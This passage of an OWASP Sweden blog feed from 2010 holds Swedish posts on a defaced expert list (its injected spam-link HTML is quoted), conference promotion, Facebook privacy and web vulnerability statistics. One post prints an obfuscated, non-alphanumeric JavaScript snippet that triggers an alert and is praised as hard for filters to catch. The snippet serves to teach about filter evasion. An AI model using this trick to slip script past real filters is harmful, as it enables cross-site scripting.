vidare?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Så här ser i alla fall "listan" ut i HTML numer:&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&amp;lt;p&gt;BaKBX0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;&amp;lt;a href="&amp;lt;a href="http://xlbdiunbcvub.com/"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;class="external free"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;title="http://xlbdiunbcvub.com/"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;rel="nofollow"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;http://xlbdiunbcvub.com/&amp;lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;"&amp;gt;xlbdiunbcvub&amp;lt;/a&amp;gt;,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;[url=&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;&amp;lt;a href="http://jclohyqgrgio.com/"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;class="external free"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;title="http://jclohyqgrgio.com/" &lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;rel="nofollow"&gt;http://jclohyqgrgio.com/&amp;lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;]jclohyqgrgio[/url],&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;[link=&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;&amp;lt;a href="http://ztpdcvhhglip.com/"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;class="external free"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;title="http://ztpdcvhhglip.com/" &lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;___&lt;/span&gt;rel="nofollow"&gt;http://ztpdcvhhglip.com/&amp;lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;]ztpdcvhhglip[/link],&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;_&lt;/span&gt;&amp;lt;a href="http://mnxercozwuni.com/"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;class="external free" title="http://mnxercozwuni.com/" &lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;__&lt;/span&gt;rel="nofollow"&gt;http://mnxercozwuni.com/&amp;lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Domänerna verkar inte äkta. Men lite lustigt är det med tanke på att listan handlar om säkerhetsexperter.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3230445384294709064?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3230445384294709064/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3230445384294709064' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3230445384294709064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3230445384294709064'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/cs-lista-pa-sakerhetsexperter-defacead.html' title='CS lista på säkerhetsexperter deface:ad?'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2567908123871409569</id><published>2010-05-16T16:31:00.005+02:00</published><updated>2010-05-16T16:40:08.385+02:00</updated><title type='text'>AppSec-inbjudan på YouTube</title><content type='html'>Jag lade precis ut en videoinbjudan till OWASP AppSec i Stockholm i sommar. Jag har ingen formell skolning i filmskapande men ni får iaf en sneak peek på min och Dj Materias kommande mix på min låt "Fly Together" :).&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;object width="400" height="245"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qaMlP6R0uf0&amp;hl=sv_SE&amp;fs=1&amp;rel=0"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/qaMlP6R0uf0&amp;hl=sv_SE&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="400" height="245"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2567908123871409569?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2567908123871409569/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2567908123871409569' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2567908123871409569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2567908123871409569'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/appsec-inbjudan-pa-youtube.html' title='AppSec-inbjudan på YouTube'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7191850706028305548</id><published>2010-05-15T12:34:00.003+02:00</published><updated>2010-05-15T13:03:18.599+02:00</updated><title type='text'>Säkerhetsfolk på Twitter?</title><content type='html'>Jag har twittrat ett tag nu och gillar det. Bra nyhetsflöde och forum för korta känsloyttringar och åsikter. Bara det faktum att jag i veckan bestämde mig för att börja rekommendera kunder att avinstallera Java på klientdatorer om de inte kör applets eller Javaapplikationer. Det är sånt man kan "känna" på Twitter. I botten ligger förstås antalet allvarliga säkerhetsbuggar, Java 5:s End-of-Life och Oracles attityd till patchningar.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jag heter johnwilander på Twitter och startade precis listan SwedishSecurityLounge – SSL (&lt;a href="http://twitter.com/johnwilander/swedishsecuritylounge"&gt;http://twitter.com/johnwilander/swedishsecuritylounge&lt;/a&gt;). Om andra här twittrar så messa mig på Twitter @johnwilander så lägger jag till er i listan.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Vi ses där ute!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7191850706028305548?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7191850706028305548/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7191850706028305548' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7191850706028305548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7191850706028305548'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/sakerhetsfolk-pa-twitter.html' title='Säkerhetsfolk på Twitter?'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3747921017174223072</id><published>2010-05-13T13:04:00.006+02:00</published><updated>2010-05-23T19:18:48.649+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='personlig integritet'/><category scheme='http://www.blogger.com/atom/ns#' term='Privacy'/><title type='text'>Personlig integritet på Facebook?</title><content type='html'>Facebook får mer och mer stryk för regler och inställningar gällande personlig integritet. Vid det här laget är &lt;b&gt;deras integritetspolicy längre än den amerikanska konstitutionen&lt;/b&gt; (se länkad NY Times-artikel nedan). Det hela har förstås bärighet på allmänna frågor som hur man tjänar pengar på nätet, den pågående kampen om våra nätidentiteter och Facebooks ambitioner att bli den globala portalen för alla oss som "hänger" på nätet.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Visualisering av personlig integritet på FB&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Matt McKeon på IBM research har gjort en &lt;a href="http://mattmckeon.com/facebook-privacy/"&gt;visualisering&lt;/a&gt; av hur Facebook har gjort mer och mer personlig information tillgänglig över tid.&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mattmckeon.com/facebook-privacy/frame5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 350px;" src="http://mattmckeon.com/facebook-privacy/frame5.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nu har även New York Times gjort en ordentlig &lt;a href="http://www.nytimes.com/interactive/2010/05/12/business/facebook-privacy.html"&gt;genomgång av historik och nuläge&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://graphics8.nytimes.com/packages/images/newsgraphics/2010/0512-facebook/gif1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 350px;" src="http://graphics8.nytimes.com/packages/images/newsgraphics/2010/0512-facebook/gif1.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Bra artiklar&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Wired har både en bra artikel om &lt;a href="http://www.wired.com/epicenter/2010/05/facebook-rogue/"&gt;integritetsproblemet&lt;/a&gt; och om Facebooks &lt;a href="http://www.wired.com/epicenter/2010/04/facebook-becomes-web/"&gt;planer på webbdominans&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Facebook reagerar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Nu har Facebook äntligen reagerat och kallat till ett &lt;a href="http://www.allfacebook.com/2010/05/facebook-calls-all-hands-meeting-on-privacy/"&gt;internt stormöte&lt;/a&gt;. Blir intressant att se vad som händer och sägs där.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3747921017174223072?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3747921017174223072/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3747921017174223072' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3747921017174223072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3747921017174223072'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/personlig-integritet-pa-facebook.html' title='Personlig integritet på Facebook?'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-65559150134265294</id><published>2010-05-11T22:33:00.003+02:00</published><updated>2010-05-11T22:48:54.192+02:00</updated><title type='text'>Nättidningar inom säkerhet</title><content type='html'>&lt;div&gt;Några nättidningar om ni är sugna på merläsning. Med läsplattorna så tror jag de kan få ett uppsving. Tipsa gärna om fler i kommentarerna.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(In)Secure Magazine&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.net-security.org/insecuremag.php"&gt;http://www.net-security.org/insecuremag.php&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hankin9 – numer en kostnadsfri nättidning&lt;/div&gt;&lt;div&gt;&lt;a href="http://hakin9.org/"&gt;http://hakin9.org/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Club Hack Mag – ung indisk nättidning&lt;/div&gt;&lt;a href="http://chmag.in/"&gt;http://chmag.in/&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Phrack Magazine, #67 kommer ut 11:e juli (ett år sen senast)&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.phrack.com/"&gt;http://www.phrack.com/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-65559150134265294?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/65559150134265294/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=65559150134265294' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/65559150134265294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/65559150134265294'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/nattidningar-inom-sakerhet.html' title='Nättidningar inom säkerhet'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8718113314781032718</id><published>2010-05-11T19:39:00.013+02:00</published><updated>2010-05-11T20:05:33.064+02:00</updated><title type='text'>Webbsårbarheter i siffror</title><content type='html'>WhiteHat har precis kommit med vårens &lt;i&gt;Website Security Statistics Report&lt;/i&gt; (&lt;a href="https://www.whitehatsec.com/home/assets/WPstats_spring10_9th.pdf"&gt;pdf&lt;/a&gt;). Tom Brennan kommer att hålla en presentation om det hela på sommarens OWASP-konferens i Stockholm men några av de intressantaste siffrorna tycker jag är följande:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table bgcolor="#ffffff" border="1" bordercolor="#000000" cellpadding="3" cellspacing="0" id="ztes" style="text-align:left"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="#6fa8dc" width="12.5%"&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;ASP&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;ASPX&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;Cold&lt;br /&gt;Fusion&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;Struts&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;JSP&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;PHP&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor="#6fa8dc" style="text-align:center" width="12.5%"&gt;&lt;b&gt;Perl&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#ffffff" width="12.5%"&gt;Andel sårbarheter per indatafält&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;9 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#38761D;"&gt;6 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;8 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#274E13;"&gt;6 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#660000;"&gt;10 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;8 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#990000;"&gt;12 %&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="12.5%"&gt;Andel sajter som &lt;i&gt;haft&lt;/i&gt; minst en allvarlig sårbarhet&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#274E13;"&gt;74 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#38761D;"&gt;73 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#660000;"&gt;86 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;77 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;80 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;80 %&lt;/span&gt;&lt;/td&gt;&lt;td style="text-align:center" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#990000;"&gt;88 %&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#ffffff" width="12.5%"&gt;Andel sajter som &lt;i&gt;har&lt;/i&gt; minst en allvarlig sårbarhet&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;57 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;58 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#38761D;"&gt;54 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#274E13;"&gt;56 %&lt;/span&gt;&lt;/td&gt;&lt;td bg="" style="text-align: center; " width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#333333;"&gt;59 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#660000;"&gt;63 %&lt;/span&gt;&lt;/td&gt;&lt;td bg=""  style="text-align:center;color:#ffffff;" width="12.5%"&gt;&lt;span class="Apple-style-span"  style="color:#990000;"&gt;75 %&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Man har kategoriserat utifrån filändelser asp, aspx, cfm, do, jsp, php och pl.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;ASP och ASPX verkar klara sig bättre. Jag skulle gissa på att det beror på att man har ett "facit", dvs information från MSDN, och bättre &lt;i&gt;security by default&lt;/i&gt;, något som Microsoft har arbetat mycket med. Perl ligger sämst till i alla kategorier men vem utvecklar idag webb med Perl?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8718113314781032718?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8718113314781032718/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8718113314781032718' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8718113314781032718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8718113314781032718'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/webbsarbarheter-i-siffror.html' title='Webbsårbarheter i siffror'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9212525670284471419</id><published>2010-05-09T12:36:00.004+02:00</published><updated>2010-05-09T12:48:10.192+02:00</updated><title type='text'>Twittra och blogga om AppSec i Stockholm</title><content type='html'>&lt;div&gt;Det är dags att skapa en digital storm och bjuda in världen till sommarens OWASP AppSec Research 2010 i Stockholm. Vi har ett fantastiskt &lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Research_2010_-_Stockholm,_Sweden#tab=June_23"&gt;program&lt;/a&gt; och bjuder in alla deltagare till middag i &lt;a href="http://www.stockholm.se/OmStockholm/Stadshuset/Festlokaler/"&gt;stadshuset&lt;/a&gt;. Snälla hjälp till genom att twittra och blogga om det, gärna söndag/måndag. Tillsammans kommer vi höras.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tag: #OWASP&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Länk: &lt;a href="http://owasp.se/"&gt;http://owasp.se&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bild:&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s1600/OWASP_AppSec_Research_2010_Sqaure_Banner.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 272px; height: 272px;" src="http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s320/OWASP_AppSec_Research_2010_Sqaure_Banner.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469219197437495106" /&gt;&lt;/a&gt;&lt;div&gt;Ni kan använda ovanstående bild på era bloggar. Koden är Marios vinnande bidrag i tävlingen om icke-alfanumerisk JavaScript som gör en alert("owasp"). Hyfsat klurigt för filter och kodgranskare ;). Om ni vill ha med skriptet i textform, så är det bara att kopiera följande:&lt;/div&gt;&lt;div&gt;ω=[[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}][Ś+Ó+Ŕ+Ṫ],ω()[Á+Ĺ+É+Ŕ+Ṫ](Ó+ω()[Ḃ+Ṫ+Ó+Á]('Á«)'))&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Låt oss hjälpas åt att få ut budskapet – tack!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9212525670284471419?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9212525670284471419/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9212525670284471419' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9212525670284471419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9212525670284471419'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/twittra-och-blogga-om-appsec-i.html' title='Twittra och blogga om AppSec i Stockholm'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 